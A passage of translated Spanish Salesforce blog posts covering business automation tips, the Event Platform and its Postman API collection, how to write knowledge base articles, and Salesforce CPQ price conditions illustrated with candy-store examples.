Al elegir herramientas de automatización empresarial, es importante seleccionar proveedores con una reputación estelar en procesos comerciales y automatización de flujos de trabajo, que también pueden actuar como sus asesores comerciales de confianza. Algunas preguntas para empezar a rodar:

  • ¿Qué dicen los clientes (o clientes descontentos) sobre las herramientas?
  • ¿Tiene las características que su equipo necesita para tener éxito?
  • ¿Ofrece incorporación y atención al cliente durante toda la vida útil del servicio?

SUGERENCIA PROFESIONAL: asegúrese de que la herramienta integre sus datos existentes y automatice los procesos con clics en lugar de una codificación extensa.

5. Probar, implementar, evaluar

Ahora que ha seleccionado una herramienta y automatizado su proceso, está listo para comenzar. Por supuesto, deberá probar su nuevo proceso antes de implementarlo. Así es como descubrirá si necesita refinarlo o modificarlo.

Finalmente, haga un balance de las mejoras en las medidas clave. Considere estas preguntas:

  • ¿Cuánto tardan los usuarios en completar los flujos de trabajo automatizados?
  • ¿La experiencia del usuario o del cliente está a la altura de sus expectativas?
  • ¿Sigue siendo el costo un problema?

Consejo 2: Cree un centro de automatización de excelencia

Un centro de excelencia de automatización (COE) puede marcar la diferencia en su viaje hacia la transformación digital . El objetivo del COE es supervisar el desarrollo y el lanzamiento de sus esfuerzos de automatización . Invite a personas clave de TI y del negocio para ayudar a tomar las mejores decisiones para el futuro.

Así es como puede configurar su COE de automatización para el éxito:

  1. Elige el equipo adecuado. Seleccione a las partes interesadas que adopten el cambio y estén listas para defender las mejoras del proceso. Asegúrese de incluir un director de proyecto y al menos un patrocinador ejecutivo.
  2. Desarrollar un marco de automatización. Para optimizar su inversión en automatización, el COE debe establecer un marco para personas, procesos, sistemas e infraestructura.
  3. Defina una hoja de ruta de automatización. La automatización empresarial no es un evento singular. Cree una hoja de ruta de automatización, un plan de alto nivel que describa los pasos necesarios para implementar pruebas automatizadas, y obtenga la aprobación de las partes interesadas clave.
  4. Ejecutar flujos de trabajo de automatización . Esta es la parte táctica del trabajo del COE. Identifique los puntos débiles, priorícelos y supervise la automatización de procesos.
  5. Mide el éxito. Establezca indicadores clave de rendimiento (KPI) para medir el impacto en la experiencia de los empleados y los clientes, la eficiencia operativa y la rentabilidad.

Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados

Aunque los recursos de TI de calidad son difíciles de encontrar, la acumulación de proyectos sigue aumentando. Recientemente descubrimos que a los departamentos de TI se les pide que entreguen un 41 % más en 2023 que en 2022.

La automatización de procesos de TI repetitivos alivia al personal de TI sobrecargado de trabajo y lo libera para expandir sus esfuerzos en toda la empresa.

Aquí hay algunos procesos con los que la automatización empresarial puede ayudar, para diferentes equipos:

  • Operaciones de TI : monitoreo de sistemas, seguridad de red, implementación de infraestructura
  • Servicios de TI : soporte al usuario final, aprovisionamiento de software, soporte de software
  • Gestión de activos : aprovisionamiento de activos, desmantelamiento, auditoría, informes
  • Gestión de datos : copia de seguridad y redundancia de datos, limpieza de datos

¿Quién debe participar de TI? Esto es lo que dijeron los responsables de la toma de decisiones sobre automatización:

  • 72% dijo que los desarrolladores de TI
  • 65% dijo operaciones de TI
  • 49% dijo administradores de aplicaciones
  • 42% dijo integradores de sistemas

La TI juega un papel fundamental para asegurarse de que se implementen la estrategia y la visión del negocio. Trabajando en estrecha colaboración con TI, pasamos de 6 a 12 meses de nuestro tiempo de comercialización con nuestros sistemas a solo días con una nueva experiencia de automatización.

Director de la división de gestión patrimonial,
servicios financieros

Automatización: tendencias, desafíos y mejores prácticas , IDC

Consejo 4: utilice un enfoque ágil para la automatización empresarial

El enfoque tradicional de “cascada”, en el que el análisis, la especificación, el diseño y las pruebas se realizan de forma secuencial, no funciona bien para la automatización empresarial. Con el enfoque en cascada, es posible que se encuentre cerca de la implementación cuando surja un problema grave, como un diseño que no se puede escalar.

La metodología ágil enfatiza el trabajo en equipo multifuncional y las pruebas continuas. Y aunque la mayoría de los desarrolladores de software la usan, la metodología ágil no es solo para desarrolladores. Su ciclo continuo de planificación, ejecución, evaluación y mejora se puede aplicar a la automatización de procesos comerciales. Una de sus mayores ventajas es que reúne equipos multifuncionales que planifican, prueban, implementan y rediseñan procesos automatizados en ciclos de liberación rápida.

Código bajo, mucho tiempo de comercialización

Elija una plataforma de código bajo que funcione para usted. Nuestra guía lo desglosa todo y describe claramente lo que necesita para comenzar a innovar hoy.

Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

¿A quién no le gusta una integración empresarial y de TI más estrecha? Sin embargo, solo el 56 % de las organizaciones utilizan soluciones de código bajo , un enfoque de desarrollo que requiere poca o ninguna codificación para crear aplicaciones y procesos, para potenciar la automatización.

El desarrollo de software tradicional es largo y costoso. Con una plataforma de desarrollo de aplicaciones de bajo código ( LCAP ), los usuarios empresariales y de TI pueden desarrollar aplicaciones y flujos de trabajo automatizados a través de una interfaz gráfica de usuario ( GUI ) amigable. Esto puede marcar la diferencia cuando el personal de TI está sujeto a presiones o restricciones.

Hay una razón más para optar por el código bajo. Los esfuerzos de automatización empresarial abarcan negocios y TI. Usando código bajo, los usuarios comerciales pueden trabajar en estrecha colaboración con TI para desarrollar modelos de datos y lógica de procesos con solo hacer clic.

Primeros pasos con la automatización empresarial

La automatización empresarial no tiene por qué ser complicada. Con los consejos que ha aprendido, puede comenzar a implementar flujos de trabajo de automatización hoy mismo . Al desarrollar un área, crear un COE, automatizar para sus equipos de TI y usar un enfoque ágil y código bajo, tiene un comienzo saludable para un proceso de automatización empresarial exitoso. Ahora ve a automatizar.

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Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Explore la API de la plataforma de eventos con la colección extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados automáticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio está vinculado a un objeto de Salesforce estándar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma estándar.

Además de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .

Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicación de Event Relay para obtener más información.

Antes del lanzamiento de Summer '23, Event Relay solo se podía configurar a través de las API. Ahora, hay una interfaz de usuario dedicada en Configuración. La única pieza que aún necesita crear a través de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colección Postman

En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las únicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo está disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuración de retransmisión de eventos

La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuración de Event Relay
  • Comentarios de retransmisión de eventos de consultoría

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son útiles para recuperar los campos de los eventos.

Lo que nos depara la colección Postman

Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el año pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga útil, ya que está comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva característica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas útiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripción general de Event Platform y las últimas incorporaciones a la colección de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar rápidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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Cómo puede escribir un buen artículo de base de conocimientos

Cómo puede escribir un buen artículo de base de conocimientos

Un gran servicio al cliente no siempre involucra a un agente. Descubrimos que el 59% de los clientes prefieren herramientas de autoservicio para preguntas simples y problemas de servicio.

Sus clientes pueden obtener fácilmente las respuestas que necesitan con los artículos de la base de conocimientos, que son artículos de ayuda informativos en su sitio. Pueden encontrar lo que necesitan en cualquier momento (incluso a las 3 am), lo que libera a los agentes para que se concentren en solicitudes de servicio más complejas.

Los agentes de servicio también pueden usar los artículos de la base de conocimientos para resolver los problemas de los clientes y reducir su tiempo promedio de atención.

Proporcione las respuestas que sus clientes quieren

¿Pueden sus clientes encontrar soluciones a sus problemas sin pedir ayuda a un agente? Descubra cómo puede ofrecer una estrategia de autoservicio llena de conocimientos en Salesforce+.

Esta publicación de blog le dirá todo lo que necesita saber sobre cómo crear un artículo de la base de conocimientos. Aprenderá qué es un artículo de conocimiento, por qué son importantes, qué incluir cuando está escribiendo y consejos y trucos (como IA generativa) para ayudarlo a comenzar.

¿Qué es un artículo de la base de conocimientos?

Un artículo de la base de conocimientos es una página web que responde a una pregunta frecuente, soluciona un problema o ayuda a sus clientes a utilizar sus productos y servicios. A menudo incluyen instrucciones y respuestas escritas, pero también pueden incluir imágenes, videos, enlaces y otros elementos multimedia.

Los artículos de la base de conocimientos generalmente se encuentran en un lugar central en el sitio web o la plataforma de una empresa; esto podría ser un centro de ayuda, una página de preguntas frecuentes o un portal de soporte. Este centro debería facilitar que sus clientes encuentren las respuestas que buscan.

Si bien la estructura de este centro variará según las necesidades de su negocio y sus clientes, debe tener una función de búsqueda, etiquetas de artículos basadas en sus ofertas y títulos que dejen en claro de qué trata el artículo.

Si su centro de contacto tiene un chatbot , puede mostrar información de artículos de conocimientos en respuesta a un mensaje del cliente. Muy pronto, los chatbots con tecnología de IA generativa podrán responder preguntas de servicio y dar respuestas mejores y más personalizadas a partir de la base de conocimientos.

¿Por qué son importantes los artículos de la base de conocimientos?

Estas son las tres razones principales por las que los artículos de la base de conocimientos son importantes para su empresa:

  • Proporcionar una mejor experiencia de servicio: es 10 veces más probable que los clientes usen el autoservicio que contactar directamente a un centro de servicio. Tener un centro de conocimiento donde sus clientes puedan encontrar fácilmente las respuestas les brinda la experiencia de servicio que desean y les permite obtener servicio las 24 horas del día, los 7 días de la semana.
  • Reduzca la carga de casos en su centro de contacto: a medida que más clientes resuelven sus problemas de forma independiente, menos casos requieren el apoyo de un agente. Esto libera a los agentes para que se concentren en resolver problemas más complejos de los clientes y reduce la carga de trabajo general del centro de contacto.
  • Reduzca el tiempo promedio de manejo: a medida que los agentes resuelven casos únicos y formalizan el conocimiento institucional en artículos, más agentes pueden usar esa información para resolver sus casos más rápido y reducir el tiempo promedio de manejo. Las investigaciones muestran que el uso de artículos de la base de conocimientos puede resultar en una resolución un 33 % más rápida .

Cómo escribir un artículo de la base de conocimientos

Esta sección lo guiará a través de los pasos importantes que debe seguir antes de escribir un artículo de la base de conocimiento, qué elementos incluir y algunos consejos útiles para que sea aún más fácil escribir un artículo de conocimiento.

Antes de escribir un artículo de conocimiento

Hay algunos pasos que desea tomar antes de escribir su artículo: el primero es averiguar sobre qué tema escribir.

Considere estas tres preguntas cuando identifique el tema correcto para su artículo:

  • ¿Cuáles son las preguntas más comunes para las que recibe solicitudes de servicio?
  • ¿Cuáles son los problemas más comunes con los que sus clientes necesitan ayuda?
  • ¿Qué información ayudaría a sus clientes a aprovechar al máximo sus productos y servicios?

Una vez que haya identificado los problemas más comunes, asegúrese de no tener un artículo de conocimiento sobre este tema. Si un artículo ya existe, decida si necesita ser editado para agregar información actualizada.

Si aún no existe ningún artículo sobre ese tema, ¡es hora de comenzar a escribir!

4 componentes de un buen artículo de base de conocimiento

  • Un título claro: deja que tu cliente sepa qué cubrirá tu artículo en el título. Asegúrese de que el título sea claro, conciso y describa con precisión el contenido del artículo. Esto también hace que el artículo sea más fácil de encontrar.
  • Listas con viñetas o subtítulos: haga que su artículo de conocimiento sea fácil de hojear para que sus clientes no tengan que leer cada palabra para encontrar lo que necesitan. Cree listas con viñetas o subtítulos que muestren lo que se cubre en cada sección. Si está escribiendo un tutorial, escriba instrucciones paso a paso, incluidos los botones o elementos del menú para hacer clic, y colóquelos en orden cronológico.
  • Imágenes, enlaces o videos : brinda a tus clientes tantos detalles como puedas para que puedan resolver el problema por sí mismos. Agregue capturas de pantalla, imágenes, enlaces a otros artículos o videos a su artículo para ayudarlos.
  • Lenguaje simple: escriba de una manera que todos puedan entender fácilmente. Haga todo lo posible para evitar la jerga que se relaciona específicamente con su producto y servicio. Sus clientes no tendrán tanto conocimiento del producto como usted, así que use un lenguaje simple en cada paso de su artículo.

Aspecto de un artículo completo de la base de conocimientos

Este es un ejemplo de un artículo de la base de conocimientos que creamos para un software de pago ficticio llamado ZapPay. Este artículo de conocimientos ayudaría a los clientes de ZapPay a vincular su cuenta bancaria a su cuenta de ZapPay.

Conecta tu cuenta bancaria a tu cuenta de ZapPay

Descripción general

  • Descubra cómo conectar su cuenta ZapPay a su cuenta bancaria para enviar dinero, pagar facturas y transferir ZapCash a su cuenta bancaria.

SUGERENCIA: asegúrese de tener a mano su cuenta bancaria y números de ruta antes de comenzar este proceso.

  1. Inicie sesión en su cuenta de ZapPay.
  2. Desde el tablero, toque su nombre y luego haga clic en Perfil.
  3. Seleccione "Conectar cuenta bancaria".
  4. A partir de ahí, aparecerá una ventana emergente en su pantalla.
  5. Ingrese su número de cuenta bancaria en el cuadro de texto "Número de cuenta" y su número de ruta en el cuadro de texto "Número de ruta".
  6. Vuelva a verificar que sus datos sean correctos antes de continuar.
  7. Una vez que haya terminado, seleccione "Guardar".
  8. Dentro de las 24 horas, verá un retiro de ZapPay de diez centavos o menos en su cuenta y luego un reembolso por la misma cantidad poco después. Esto es para garantizar que pueda retirar y depositar dinero con éxito entre su cuenta de ZapPay y su cuenta bancaria.

¡Felicidades! ¡Has conectado con éxito tu ZapPay a tu cuenta bancaria! Si necesita ayuda adicional, consulte los siguientes enlaces:

  • Agregar dinero a mi cuenta de ZapPay
  • Transferir dinero de ZapPay a mi cuenta bancaria
  • Desconectar cuenta bancaria
  • Agregar tarjeta de crédito a la cuenta de ZapPay

3 consejos simples para comenzar con los artículos de la base de conocimientos (pista: IA)

Ahora que tiene lo que necesita para escribir el artículo perfecto de la base de conocimientos, así es como puede comenzar.

  • Obtenga información de registros y notas de casos antiguos para asegurarse de que está incluyendo tantos detalles como sea posible y de que está siguiendo los mismos pasos para obtener una resolución.
  • Para garantizar la precisión y la legibilidad, trabaje con un administrador para configurar un proceso de aprobación de artículos de conocimiento. Esto garantizará que la gramática y la ortografía sean correctas, que la información sea precisa y que el formato de los artículos sea uniforme en todo el centro.
  • Conecte una herramienta de IA generativa a su consola de servicio y haga que cree el primer borrador de su artículo de conocimiento basado en los detalles de la conversación y los datos de CRM para que sus agentes experimentados lo revisen. Esto le ahorrará tiempo y lo ayudará a publicar sus artículos más rápido.

Ahora sabe qué es un artículo de la base de conocimientos y por qué es importante tanto para los clientes como para los agentes. Comience a escribir artículos hoy para brindarles una excelente experiencia de servicio y aumentar la eficiencia de su centro de contacto.

Ahorre tiempo para sus clientes y agentes

Con herramientas de autoservicio como los artículos de la base de conocimientos, los clientes pueden obtener respuestas a las preguntas más frecuentes en cualquier momento, lo que libera a sus agentes. Nuestra guía muestra cómo las organizaciones de servicio de alto rendimiento facilitan el autoservicio.

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Sugar Rush of Salesforce CPQ Pricing: ¡Revelación de condiciones de precio y acciones en el país de las maravillas de las tiendas de golosinas!

Sugar Rush of Salesforce CPQ Pricing: ¡Revelación de condiciones de precio y acciones en el país de las maravillas de las tiendas de golosinas!

¡Bienvenido al encantador Candy Store Wonderland, donde nos sumergiremos en la encantadora aventura de la magia de fijación de precios de Salesforce CPQ! Desenvolveremos la condición del precio y la acción del precio con los escenarios de la tienda de golosinas.

Exploraremos ejemplos de condiciones de precios cubiertas de dulces como "Obtenga una bolsa de regalo con la compra de deliciosos dulces de chocolate", acciones de precios dulces como "Compre uno, obtenga un dulce gratis para duplicar la dulzura" que lo dejarán con ganas de más. Descubriremos cómo se pueden personalizar las condiciones de precio y las acciones para crear promociones, descuentos y ofertas únicos que hagan que los clientes regresen para disfrutar de más aventuras llenas de dulces.

¡Despleguemos juntos la magia de los precios!

Precio Condición

Exploremos el uso del objeto Condición de precio con la ayuda de casos de uso.

1. Descuento por tipo de caramelo:

– Condición: establezca el campo en "Tipo de caramelo" y el operador en "Iguales". Especifique el valor como "Ositos de gominola".

– Resultado: cuando un cliente agrega dulces de ositos de goma a su cotización, la Condición de precio evaluará el tipo de dulce y aplicará la acción de fijación de precios definida, como un descuento o un precio ajustado.

2. Umbral de cantidad:

– Condición: Defina el Campo como “Cantidad” y el Operador como “Mayor que” o “Igual”. Establezca el Valor como un umbral de cantidad específico, como 10.

– Resultado: cuando un cliente agrega dulces a su cotización y la cantidad supera el umbral especificado, la condición de precio activará una acción de fijación de precios, como un descuento por volumen o un nivel de precios diferente.

3. Condición de atributo personalizado:

– Condición: defina un campo personalizado en la sección Campo, como “Dulces orgánicos”. Establezca el Operador en "Equals" y el Valor en "True".

– Resultado: cuando un cliente agrega dulces orgánicos a su cotización, la Condición de precio verificará el atributo personalizado y aplicará una acción de precio específica, como un precio premium o un descuento para productos orgánicos.

4. Promoción basada en fechas:

– Condición: Especifique el campo como “Fecha de cotización” Establezca el Operador en “Dentro del rango” y proporcione el rango de fechas deseado para la promoción.

– Resultado: cuando la cotización o el artículo de línea se encuentran dentro del rango de fechas especificado, la Condición de precio activará una acción de fijación de precios, como un descuento por tiempo limitado o una oferta especial.

El objeto Regla de precio y Condición de precio tienen una relación maestro-detalle.

Una captura de pantalla de una computadora Descripción generada automáticamente

Descripción de los campos en el objeto de condición de precio

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Cuál es el uso del campo de regla de precio en el objeto de condición de precio?

Conecta la condición de precio con la regla de precio principal. Significa a qué regla de precio está asociada la condición de precio y determina bajo qué regla se debe evaluar la condición.

¿Cuál es el significado de Objeto y Campo en la Condición de Precio?

Fondo con rayas amarillas y blancas Descripción generada automáticamente

Al crear una Condición de precio, selecciona el objeto apropiado de las opciones disponibles en el campo "Objeto". Esto especifica el objeto relacionado al que desea hacer referencia en la condición. Una vez que seleccione el objeto, puede elegir el campo específico de ese objeto en el campo "Campo de objeto".

Por ejemplo, supongamos que tiene una Condición de precio que verifica si el campo "Sabor a caramelo" en el objeto Línea de cotización relacionado es igual a "Limón". En este caso, seleccionaría el objeto "Línea de cotización" en el campo "Objeto" y luego elegiría el campo "Sabor a caramelo".

Escenario: configure una condición de precio para verificar si el campo "Tipo" del caramelo asociado con la línea de cotización es igual a "Gummy Bear".

Así es como funciona:

1. En el registro de Condición de precio, seleccionaría el objeto "Línea de cotización" en el campo "Objeto". Esto indica que desea evaluar un campo del objeto Línea de cotización.

2. A continuación, en el campo "Object Field", elegiría el campo "Candy.Type". Esto especifica que desea hacer referencia al campo "Tipo" del objeto Candy relacionado asociado con la línea de cotización.

3. Para completar la condición, establecería el operador como "Equals" y proporcionaría el valor "Gummy Bear". Esta condición verificará si el tipo de Caramelo para la línea de cotización asociada es "Gummy Bear".

Una captura de pantalla de una computadora Descripción generada automáticamente

¿Qué es el campo variable probado en la condición de precio?

El campo "Variables probadas" en el objeto Condición de precio le permite almacenar y hacer referencia a valores intermedios durante la evaluación de la condición. Entendamos su uso con un ejemplo de caramelo.

Escenario: Desea aplicar un descuento en un tipo específico de golosina, pero solo si la cantidad total de todos los artículos de golosina en la cotización supera un límite determinado.

1. Precio Condición:

– Objeto: Línea de cotización

– Campo de objeto: Producto.Tipo (para verificar el tipo de dulce)

– Condición: Tipo de Caramelo es igual a “Barra de Chocolate”

2. Variables probadas:

– Cree una variable probada llamada "TotalCandyQty" para almacenar la cantidad total de todos los artículos de dulces en la cotización.

3. Acción del precio:

– Objeto: Cita

– Campo de objeto: Porcentaje de descuento

– Acción: Actualizar Campo

– Valor: si TotalCandyQty es mayor que 10, establezca el Porcentaje de descuento en 10 %; de lo contrario, ajústelo al 5%.

Solución

En este ejemplo, la Condición de precio verifica si el tipo de dulce es "Barra de chocolate" para cada línea de cotización. Si coincide, puede utilizar el campo "Variables probadas" para almacenar la cantidad total de todos los dulces en la cotización.

La Acción del precio luego actualiza el campo Porcentaje de descuento en la Cotización en función del valor de la variable probada "TotalCandyQty". Si la cantidad total de artículos de dulces en la cotización supera los 10, se aplica un descuento del 10%. En caso contrario, se aplica un descuento del 5%.

Al usar el campo "Variables probadas", puede calcular y almacenar la cantidad total de dulces en la cotización y usarla en acciones posteriores para determinar el porcentaje de descuento apropiado. Esto le permite aplicar diferentes descuentos en función de la cantidad total de dulces en la cotización.

¿Cuál es el uso del campo de fórmula probado en la condición de precio?

Un objeto rectangular blanco con un borde negro Descripción generada automáticamente

El campo "Fórmula probada" en una Condición de precio le permite definir una expresión de fórmula que se evalúa para determinar si la condición se cumple o no. Le permite crear condiciones dinámicas que consideran diferentes factores.

Escenario: desea aplicar un descuento en un producto solo si se cumplen las siguientes condiciones:

– El producto es una “Barra de Chocolate” o un “Osito de Gominola”.

– La cantidad del producto es mayor o igual a 10.

– El precio total del producto supera los $50.

Para configurar esta condición usando una fórmula probada:

1. Cree una Condición de Precio con los siguientes detalles:

– Objeto: Línea de cotización

– Fórmula probada: ingrese la expresión de la fórmula que combina las condiciones:

`(Tipo de producto = "Barra de chocolate" || Tipo de producto = "Osito de goma") && Cantidad >= 10 && Precio total > 50`

En este ejemplo, la fórmula probada combina múltiples condiciones usando operadores lógicos (|| para OR, && para AND). Comprueba si el tipo de producto es "Barra de chocolate" o "Gummy Bear", la cantidad es mayor o igual a 10 y el precio total es mayor a $50. Solo si todas estas condiciones son ciertas, se cumplirá la Condición de Precio.

¿Cuál es la diferencia entre la “Fórmula Probada” en una Condición de Precio y la “Condición Avanzada” en una Regla de Precio?

La "Fórmula Probada" en una Condición de Precio y la "Condición Avanzada" en una Regla de Precio le permiten definir condiciones complejas para determinar cuándo se debe aplicar una acción o ajuste específico. Sin embargo, hay algunas diferencias clave entre ellos:

Fórmula probada en condición de precio:

– Se utiliza dentro de una Condición de precio para evaluar si la condición se cumple o no para elementos de línea de cotización individuales.

– Se evalúa a nivel de línea de pedido, considerando los valores específicos de los campos en la línea de cotización.

– La fórmula puede incluir referencias de campo, operadores lógicos, comparaciones y funciones para realizar cálculos y comparaciones en función de los valores de los campos en la partida de presupuesto.

– El resultado de la fórmula determina si se cumple la condición y, de ser así, las acciones de precio asociadas se aplicarán a la línea de cotización.

Condición avanzada en la regla de precio:

– Se usa dentro de una regla de precio para definir condiciones más complejas que pueden involucrar múltiples elementos de línea de cotización u objetos relacionados.

– Se evalúa a nivel de regla, teniendo en cuenta los valores en varias partidas de cotización u objetos relacionados.

– La condición avanzada generalmente se escribe utilizando Apex o SOQL (lenguaje de consulta de objetos de Salesforce) y puede incluir lógica personalizada, consultas y cálculos.

– El resultado de la condición avanzada determina si se aplica toda la regla o se omite por completo para una cotización en particular.

En resumen, la fórmula probada en una Condición de precio se usa para evaluar las condiciones en el nivel de partida de cotización individual , mientras que la condición avanzada en una Regla de precio permite condiciones más avanzadas que involucran múltiples partidas de cotización u objetos relacionados.

Comprendamos la diferencia entre la fórmula probada en una Condición de precio y la condición avanzada en una Regla de precio con la ayuda de un ejemplo:

Guión:

Dispones de una Regla de Precio para aplicar un descuento en productos en base a las siguientes condiciones:

– Condición 1: Aplicar un 10% de descuento si la cantidad de productos es mayor o igual a 10.

– Condición 2: Aplicar un 5% de descuento si el producto pertenece a una categoría específica, “Categoría Especial”.

Fórmula probada en condición de precio:

En este enfoque, utilizará una fórmula probada dentro de cada condición de precio para evaluar la condición en el nivel de artículo de línea de cotización individual.

Precio Condición 1:

– Objeto: Línea de cotización

– Fórmula probada: `Cantidad >= 10`

Precio Condición 2:

– Objeto: Línea de cotización

– Fórmula probada: `Producto.Categoría = “Categoría especial”`

En este ejemplo, la fórmula probada se usa para verificar si cada elemento de línea de cotización cumple con la condición específica. Si la fórmula se evalúa como verdadera para un artículo de línea de cotización, la acción de precio asociada se aplicará a ese artículo.

Condición avanzada en la regla de precios:

En este enfoque, utilizará una condición avanzada dentro de la regla de precio para evaluar las condiciones a nivel de regla, considerando varios elementos de línea de cotización.

Regla de precio:

– Condición avanzada: `SUM(QuoteLine.Quantity) >= 10 && MAX(QuoteLine.Product.Category) = “Special Category”`

En este ejemplo, la condición avanzada se usa para evaluar las condiciones en todos los elementos de línea de cotización en la cotización. Si la condición avanzada se evalúa como verdadera, las acciones de precio asociadas dentro de la regla de precio se aplicarán a todos los elementos de línea de cotización elegibles.

¿Para qué sirve el campo “Operador” en una Condición de Precio?

Una captura de pantalla de una computadora Descripción generada automáticamente

Este campo determina la comparación u operación lógica a realizar al evaluar la condición.

Los operadores disponibles en el campo "Operador" pueden variar según el tipo de datos del campo que se compara. Aquí hay algunos operadores comunes que puede encontrar:

– Igual a (=): Comprueba si el valor del campo es igual al valor especificado.

– No es igual a (!=): Comprueba si el valor del campo no es igual al valor especificado.

– Mayor que (>): Comprueba si el valor del campo es mayor que el valor especificado.

– Menor que (<): Comprueba si el valor del campo es menor que el valor especificado.

